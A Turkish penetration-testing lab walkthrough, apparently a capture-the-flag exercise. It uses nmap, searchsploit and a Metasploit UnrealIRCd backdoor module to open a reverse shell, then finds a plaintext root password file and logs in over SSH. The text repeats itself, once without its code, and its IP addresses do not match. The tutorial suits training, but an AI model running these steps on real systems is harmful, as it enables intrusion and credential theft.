Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde Keşif sırasında elde ettiğin bilgileri analiz etmeyive bunların olası güvenlik açıklarıyla ilişkilendiremeye çalışacağız. Ve genel olarak sisteme sızdık burda bitmedi daha yüksek yetkilere bakacağız ve en sonunda bunları iyi bir şekilde raporlamaya çalışacağız.
Not: Bu senaryodaki örneklerde kullanılan IP adresleri ile herhangi bir iletişime geçmeyin.
Numaralandırma
Neden Keşif (Enumeration)?
Tek bir exploit çalıştırmadan veya tek bir parola denemeden önce, karşında ne olduğunu anlaman gerekir. Keşif, her sızma testinin temelidir ve onsuz yaptığın şey sadece tahminde bulunmaktır. Buradaki amaç basittir: herhangi bir hamle yapmadan önce hedef hakkında mümkün olduğunca fazla bilgi edinmek. Hangi portlar açık? Hangi servisler çalışıyor? Bu servislerin arkasında hangi sürümler bulunuyor? Şu anda topladığın her bilgi, daha sonra vereceğin kararları şekillendirir. Aceleyle yapılan keşif çalışmaları fırsatların kaçırılmasına yol açar ve gerçek bir testte bu durum, raporunda önemli bir bulgu ile önemsiz bir dipnot arasındaki farkı belirleyebilir.
Hatırlatma olarak:
Güvenlik Açığı Analizi
Tarama sonuçlarını elde ettin. Peki şimdi ne olacak?
Çıktıya sadece karmaşık bir metin yığını gibi bakma. Sorular sormaya başla. Bu servis sürümü güncel mi? Bunun için bilinen bir exploit var mı? Bir yanlış yapılandırma söz konusu olabilir mi? Zafiyet analizi aslında, keşif aşamasında elde ettiğin bilgileri kullanarak “Burada ne ters gidebilir?” sorusunu sorma sürecidir.
Nmap çıktın sana iki açık port gösterdi. Buradaki en basit yöntem, servis sürümlerini ve yanına “exploit” anahtar kelimesini ekleyerek Google’da aratmaktır.
Örneğin, “OpenSSH 9.6p1 exploit” şeklinde arama yaptığında teorik ya da belirli dağıtımlara özel bazı exploit sonuçları görebilirsin; ancak uygulanabilir somut bir şey bulamayabilirsin. Bu durumda büyük ihtimalle çıkmaz bir yoldasındır.
Eğer Kali araçlarına aşinaysan, Google kullanmak yerine searchsploit aracını da kullanabilirsin. Searchsploit, terminal üzerinden Exploit-DB’nin çevrimdışı halka açık exploit ve zafiyet veri tabanında arama yapmanı sağlayan komut satırı aracıdır.
İlk Erişim
Bu noktaya kadar, yazılım içerisine bırakılmış bir arka kapıyı (backdoor) kötüye kullanan bir UnrealIRCd exploit’i bulmuş olman gerekiyor. Şaka şaka bulamadıysan endişelenme, bu süreçte öğrenmenin bir parçasıdır. Kullanacağımız exploit’in güzel tarafı, bunun için bir Metasploit modülünün bulunmasıdır. Bu sayede exploit scriptlerini düzenlemekle uğraşmadan sömürme işlemini çok daha kolay gerçekleştirebiliriz. Şimdi önce Metasploit’i başlatalım.
Ardından, ihtiyacımız olan modülü arayın.
Bu listeden, hedef sistemimize karşı önerilen exploit’i kullanabiliriz.
Öncelikle, bu exploit’in çalışması için hangi ayarları yapmamız gerektiğini görmemiz gerekiyor.
Gördüğümüz gibi, henüz ayarlanmamış tek gerekli parametre (Required sütununda işaretli olan) RHOSTS’tur. Bu yüzden bunu hedef makinenin IP adresine ayarlayabiliriz.
Bu exploit’in çalışması için hâlâ bir payload’a ihtiyacımız var. Mevcut payload’ları görmek için show payloads komutunu kullanabiliriz.
Hedefimiz hakkında veya üzerinde hangi yazılımların kurulu olduğu hakkında çok fazla bilgiye sahip olmadığımız için en güvenli seçenek, Unix tabanlı genel bir reverse payload kullanmaktır.
Şimdi show options komutunu tekrar çalıştırırsak, bu payload için LHOST ve LPORT parametrelerinin gerekli olduğunu göreceğiz.
Artık her şey ayarlandığına göre, exploit komutunu kullanarak hedef makineye karşı saldırıyı başlatabiliriz.
Not: İlk kez bir reverse shell elde ettiğinde, genellikle bu “kısıtlı (dumb)” bir shell olur ve tam terminal özelliklerine sahip değildir — iş kontrolü, sekme tamamlama (tab completion) gibi özellikler yoktur ve en önemlisi su veya sudo gibi komutlar çalışmaz; çünkü bu komutlar şifreyi güvenli şekilde okumak için etkileşimli bir TTY gerektirir.
Shell’i tam bir TTY’ye yükseltmek, bu temel reverse shell’i gerçek bir etkileşimli terminal oturumuna dönüştürür. Bu gerekli bir adımdır çünkü su ve sudo gibi komutlar şifre girişini güvenli şekilde alabilmek için gerçek bir terminal (TTY) ortamına ihtiyaç duyar.
Sömürü Sonrası
Yetki Yükseltme
Artık hedef makinede bir başlangıç erişimi elde ettiğimize göre, yetkilerimizi yükseltmenin yollarını kontrol etmemiz gerekiyor.
Bu komut, hedef sistemde adında “password” kelimesi geçen tüm dosyaları bulmaya çalışır. 2>/dev/null kısmı ise hata mesajlarını gizler.
Bu dosyaların hepsini inceleyebiliriz, ancak içlerinden biri diğerlerinden daha dikkat çekicidir: /etc/password.txt.
Bunu cat /etc/password.txt komutuyla okuyabiliriz. Neyse ki bu dosya root kimlik bilgilerini içeriyor gibi görünüyor. Etkileşimli bir terminal oturumunda olmadığımız için şifreyi girmek adına su komutunu kullanamayız. Ancak daha önce yaptığımız dış keşiften bu sunucuda bir SSH servisinin çalıştığını biliyoruz. Yeni bir terminal açın ve aşağıdaki komutu çalıştırın:
Raporlama
Raporlama konusunu daha sonraki bir bölümde ayrıntılı olarak ele alacak olsak da, bazı noktaların şimdiden belirtilmesi gerekir.
Öncelikle, yaptığınız çalışmadan müşterinin göreceği tek şey raporunuzdur. Tüm ATM’leri ele geçirip bir bankanın domain yöneticisi olduğunuz olağanüstü bir sızma testi yapmış olabilirsiniz; ancak raporunuz kötü ise, bu test de başarısız kabul edilir.
İkinci olarak, tüm profesyonellerin kendi rapor yazma yöntemleri olsa da, bazı genel başlıklar her zaman bulunmalıdır:
Aşağıdaki örnek, bu senaryoda bulduğumuz yetki yükseltme vektörünün raporlanmış bir bulgusudur:
Başlık: Root Parolasının Düz Metin Olarak Saklanması
Ciddiyet: Kritik
Açıklama: Root kullanıcısının parolası, /etc/password.txt dosyasında düz metin olarak bulunmuştur. Bu dosya düşük yetkili kullanıcılar tarafından okunabilir durumdadır; bu da sisteme shell erişimi olan herhangi bir kullanıcının root kimlik bilgilerini elde ederek sistemi tamamen ele geçirmesine olanak tanır.
İstismar Adımları:
Okuduğunuz için teşekkür ederim
Selamun aleyküm dostlarım. Bu makalemizde Keşif sırasında elde ettiğin bilgileri analiz etmeyive bunların olası güvenlik açıklarıyla ilişkilendiremeye çalışacağız. Ve genel olarak sisteme sızdık burda bitmedi daha yüksek yetkilere bakacağız ve en sonunda bunları iyi bir şekilde raporlamaya çalışacağız.
Not: Bu senaryodaki örneklerde kullanılan IP adresleri ile herhangi bir iletişime geçmeyin.
Numaralandırma
Neden Keşif (Enumeration)?
Tek bir exploit çalıştırmadan veya tek bir parola denemeden önce, karşında ne olduğunu anlaman gerekir. Keşif, her sızma testinin temelidir ve onsuz yaptığın şey sadece tahminde bulunmaktır. Buradaki amaç basittir: herhangi bir hamle yapmadan önce hedef hakkında mümkün olduğunca fazla bilgi edinmek. Hangi portlar açık? Hangi servisler çalışıyor? Bu servislerin arkasında hangi sürümler bulunuyor? Şu anda topladığın her bilgi, daha sonra vereceğin kararları şekillendirir. Aceleyle yapılan keşif çalışmaları fırsatların kaçırılmasına yol açar ve gerçek bir testte bu durum, raporunda önemli bir bulgu ile önemsiz bir dipnot arasındaki farkı belirleyebilir.
Nmap ile Tarama
Hedef sistemi şimdi Nmap ile tarayalım! Daha önce kullandın, ancak artık onu bilinçli ve amaçlı bir şekilde kullanıyorsun.
Kod:
nmap -sV -sC -oN scan.txt 10.114.132.228
Hatırlatma olarak:
- -sV açık portları analiz ederek arkasında çalışan servisleri ve sürümlerini belirlemeye çalışır.
- -sC Nmap’in varsayılan script setini çalıştırır. Bu scriptler banner bilgileri, desteklenen kimlik doğrulama yöntemleri ve benzeri ek detayları toplar.
- -oN scan.txt çıktıyı bir dosyaya kaydeder. Bu alışkanlığı erkenden edin; raporlama aşamasında bunun faydasını göreceksin.
Kod:
root@ip-10-80-79-108:~# nmap -sV -sC -oN scan.txt 10.114.132.228
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-13 11:55 UTC
Nmap scan report for ip-10-80-143-186.eu-west-1.compute.internal (10.80.143.186)
Host is up (0.00041s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 22:e4:61:bd:b9:9e:3b:0c:c2:96:b1:48:2b:0b:c4:4b (ECDSA)
|_ 256 9a:d3:c7:4e:1e:dc:97:55:93:3a:2f:12:5f:1a:9b:8d (ED25519)
8889/tcp open irc UnrealIRCd
| irc-info:
| users: 1
| servers: 1
| lusers: 1
| lservers: 0
| server: irc.pentest-target.thm
| version: Unreal5.1.6.1. irc.pentest-target.thm
| uptime: 0 days, 0:01:46
| source ident: nmap
| source host: ip-10-80-79-108.eu-west-1.compute.internal
|_ error: Closing Link: keedrluoh[ip-10-80-79-108.eu-west-1.compute.internal] (Quit: keedrluoh)
Service Info: Host: irc.pentest-target.thm; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Güvenlik Açığı Analizi
Tarama sonuçlarını elde ettin. Peki şimdi ne olacak?
Çıktıya sadece karmaşık bir metin yığını gibi bakma. Sorular sormaya başla. Bu servis sürümü güncel mi? Bunun için bilinen bir exploit var mı? Bir yanlış yapılandırma söz konusu olabilir mi? Zafiyet analizi aslında, keşif aşamasında elde ettiğin bilgileri kullanarak “Burada ne ters gidebilir?” sorusunu sorma sürecidir.
Nmap çıktın sana iki açık port gösterdi. Buradaki en basit yöntem, servis sürümlerini ve yanına “exploit” anahtar kelimesini ekleyerek Google’da aratmaktır.
Örneğin, “OpenSSH 9.6p1 exploit” şeklinde arama yaptığında teorik ya da belirli dağıtımlara özel bazı exploit sonuçları görebilirsin; ancak uygulanabilir somut bir şey bulamayabilirsin. Bu durumda büyük ihtimalle çıkmaz bir yoldasındır.
Eğer Kali araçlarına aşinaysan, Google kullanmak yerine searchsploit aracını da kullanabilirsin. Searchsploit, terminal üzerinden Exploit-DB’nin çevrimdışı halka açık exploit ve zafiyet veri tabanında arama yapmanı sağlayan komut satırı aracıdır.
Kod:
searchsploit openssh
Kod:
root@ip-10-80-79-108:~# searchsploit openssh
---------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------- ---------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation | linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service | multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution | freebsd/remote/17462.txt
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read | linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One | unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow | linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1) | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2) | unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service | multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation | linux/local/41173.c
OpenSSH 7.2 - Denial of Service | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Soc | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident | linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool | linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack | multiple/remote/3303.sh
---------------------------------------------------------------------------- ---------------------------------
İlk Erişim
Bu noktaya kadar, yazılım içerisine bırakılmış bir arka kapıyı (backdoor) kötüye kullanan bir UnrealIRCd exploit’i bulmuş olman gerekiyor. Şaka şaka bulamadıysan endişelenme, bu süreçte öğrenmenin bir parçasıdır. Kullanacağımız exploit’in güzel tarafı, bunun için bir Metasploit modülünün bulunmasıdır. Bu sayede exploit scriptlerini düzenlemekle uğraşmadan sömürme işlemini çok daha kolay gerçekleştirebiliriz. Şimdi önce Metasploit’i başlatalım.
Kod:
msfconsole
Kod:
search unrealircd
Kod:
msf > search unrealircd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_5161_backdoor 2010-06-12 excellent No UnrealIRCD 5.1.6.1 Backdoor Command Execution
Kod:
use 0
Kod:
show options
Kod:
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client addres
s
CPORT no The local client port
Proxies no A proxy chain of format
type:host:port[,type:h
ost:port][...]. Support
ed proxies: sapni, sock
s4, socks5, http, socks
5h
RHOSTS yes The target host(s), see
https://docs.metasploi
t.com/docs/using-metasp
loit/basics/using-metas
ploit.html
RPORT 8889 yes The target port (TCP)
Gördüğümüz gibi, henüz ayarlanmamış tek gerekli parametre (Required sütununda işaretli olan) RHOSTS’tur. Bu yüzden bunu hedef makinenin IP adresine ayarlayabiliriz.
Kod:
set RHOSTS 10.114.132.228
Kod:
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/adduser . normal No Add user with useradd
1 payload/cmd/unix/bind_perl . normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 . normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby . normal No Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 . normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic . normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/reverse . normal No Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl . normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl . normal No Unix Command Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl . normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby . normal No Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl . normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet . normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Hedefimiz hakkında veya üzerinde hangi yazılımların kurulu olduğu hakkında çok fazla bilgiye sahip olmadığımız için en güvenli seçenek, Unix tabanlı genel bir reverse payload kullanmaktır.
Kod:
set payload cmd/unix/reverse
Kod:
set LHOST 10.114.83.138
Kod:
set LPORT 443
Kod:
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > exploit
[*] Started reverse TCP double handler on 10.82.115.225:443
[*] 10.82.184.186:8889 - Connected to 10.82.184.186:8889...
:irc.pentest-target.thm NOTICE AUTH :*** Looking up your hostname...
[*] 10.82.184.186:8889 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo IpKbSZnM96KvbLgV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "IpKbSZnM96KvbLgV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.82.115.225:443 -> 10.82.184.186:53836) at 2026-03-17 07:11:47 +0000
whoami
webmaster
Shell’i tam bir TTY’ye yükseltmek, bu temel reverse shell’i gerçek bir etkileşimli terminal oturumuna dönüştürür. Bu gerekli bir adımdır çünkü su ve sudo gibi komutlar şifre girişini güvenli şekilde alabilmek için gerçek bir terminal (TTY) ortamına ihtiyaç duyar.
Sömürü Sonrası
Yetki Yükseltme
Artık hedef makinede bir başlangıç erişimi elde ettiğimize göre, yetkilerimizi yükseltmenin yollarını kontrol etmemiz gerekiyor.
Kod:
find / -name password* 2>/dev/null
Kod:
find / -name password* 2>/dev/null
/boot/grub/i386-pc/password.mod
/boot/grub/i386-pc/password_pbkdf2.mod
/snap/core20/2379/var/lib/pam/password
/snap/core/17272/usr/lib/pppd/2.4.7/passwordfd.so
/snap/core/17272/var/cache/debconf/passwords.dat
/snap/core/17272/var/lib/pam/password
/snap/core18/2999/var/lib/pam/password
/snap/core18/1885/var/lib/pam/password
/snap/core22/1621/var/lib/pam/password
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/etc/password.txt
/var/lib/pam/password
/var/cache/debconf/passwords.dat
Bunu cat /etc/password.txt komutuyla okuyabiliriz. Neyse ki bu dosya root kimlik bilgilerini içeriyor gibi görünüyor. Etkileşimli bir terminal oturumunda olmadığımız için şifreyi girmek adına su komutunu kullanamayız. Ancak daha önce yaptığımız dış keşiften bu sunucuda bir SSH servisinin çalıştığını biliyoruz. Yeni bir terminal açın ve aşağıdaki komutu çalıştırın:
Kod:
Raporlama konusunu daha sonraki bir bölümde ayrıntılı olarak ele alacak olsak da, bazı noktaların şimdiden belirtilmesi gerekir.
Öncelikle, yaptığınız çalışmadan müşterinin göreceği tek şey raporunuzdur. Tüm ATM’leri ele geçirip bir bankanın domain yöneticisi olduğunuz olağanüstü bir sızma testi yapmış olabilirsiniz; ancak raporunuz kötü ise, bu test de başarısız kabul edilir.
İkinci olarak, tüm profesyonellerin kendi rapor yazma yöntemleri olsa da, bazı genel başlıklar her zaman bulunmalıdır:
- Bir kapak sayfası: başlık, adınız, e-posta adresiniz ve sürüm kontrol bilgileriyle birlikte
- İçindekiler tablosu (isteğe bağlı)
- Talebi yapan yöneticiye yönelik, teknik olmayan bir dille neyin başarıldığını açıklayan bir yönetici özeti
- Etkiyi anlamaları ve önceliklendirme yapabilmeleri için mühendislik yöneticisine yönelik teknik özet (isteğe bağlı)
- Bulunan tüm zafiyetlerin ciddiyetine göre sıralandığı bir tablo; hem yöneticilerin hem de mühendislerin önceliklendirme yapabilmesi için
- Her bir zafiyetin ve etkisinin açıklandığı, istismar adımlarının ve kanıtların gösterildiği ve giderme önerilerinin sunulduğu ayrıntılı istismar bölümü; bu bölüm düzeltme yapacak mühendisler için hazırlanır
Aşağıdaki örnek, bu senaryoda bulduğumuz yetki yükseltme vektörünün raporlanmış bir bulgusudur:
Başlık: Root Parolasının Düz Metin Olarak Saklanması
Ciddiyet: Kritik
Açıklama: Root kullanıcısının parolası, /etc/password.txt dosyasında düz metin olarak bulunmuştur. Bu dosya düşük yetkili kullanıcılar tarafından okunabilir durumdadır; bu da sisteme shell erişimi olan herhangi bir kullanıcının root kimlik bilgilerini elde ederek sistemi tamamen ele geçirmesine olanak tanır.
İstismar Adımları:
- Hedef sistemde düşük yetkili bir shell erişimi elde edin.
- cat /etc/password.txt komutuyla dosya içeriğini okuyun.
- Bulunan root parolasını kullanarak ssh root@IP üzerinden yetki yükseltin.
Okuduğunuz için teşekkür ederim










